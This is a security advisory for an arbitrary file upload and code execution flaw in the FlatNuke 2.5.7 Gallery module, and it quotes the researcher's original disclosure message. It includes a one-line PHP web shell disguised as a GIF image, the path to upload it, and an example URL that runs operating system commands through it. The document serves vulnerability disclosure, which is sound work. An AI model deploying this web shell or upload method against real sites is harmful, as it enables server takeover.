FlatNuke Gallery Module Lets Remote Users Upload and Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016499
|
|
SecurityTracker URL: http://securitytracker.com/id?1016499
|
|
CVE Reference: CVE-2006-3608
(Links to External Site)
|
Updated: Jul 18 2008
|
Original Entry Date: Jul 14 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 2.5.7 and prior versions
|
Description: A vulnerability was reported in FlatNuke. A remote user can include and execute arbitrary code on the target system.
The Gallery upload function does not properly validate user-supplied files. If user gallery uploads are enabled [not the default
configuration], a remote user can upload a file that is ostensibly an image file but instead contains arbitrary PHP code. Then,
the remote user can invoke the uploaded file (which will be renamed by the system) to cause the PHP code to be executed. The PHP
code, including operating system commands, will run with the privileges of the target web service.
Some demonstration exploit
file contents are provided:
GIF86<?php system($GET[cmd]);?>
rgod reported this vulnerability.
The original advisory is
available at:
http://retrogod.altervista.org/flatnuke257_adv.html
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.flatnuke.org/ (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: rgod@autistici.org
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 13 Jul 2006 17:00:40 +0000
From: rgod@autistici.org
Subject: flatnuke <= 2.5.7 arbitrary php file upload
|
12/07/200619.11.54
----- Flatnuke 2.5.7 arbitrary file upload / remote code execution -------------
software:
site: http://www.flatnuke.org/
--------------------------------------------------------------------------------
if user Gallery uploads are enabled (not the default) you can go to:
http://[target]/[path_to_flatnuke]/index.php?mod=Gallery
to upload a shell.php file, ex:
GIF86<?php system($GET[cmd]);?>
file is renamed like this:
shell_by_[username].php
now you can launch commands, ex:
http://[target]/[path]/sections/Gallery/shell_by_rgod.php?cmd=ls%20-la
--------------------------------------------------------------------------------
rgod
site: http://rgod.altervista.org
mail: rgod @ autistici.org
--------------------------------------------------------------------------------
original url: http://retrogod.altervista.org/flatnuke257_adv.html
|
|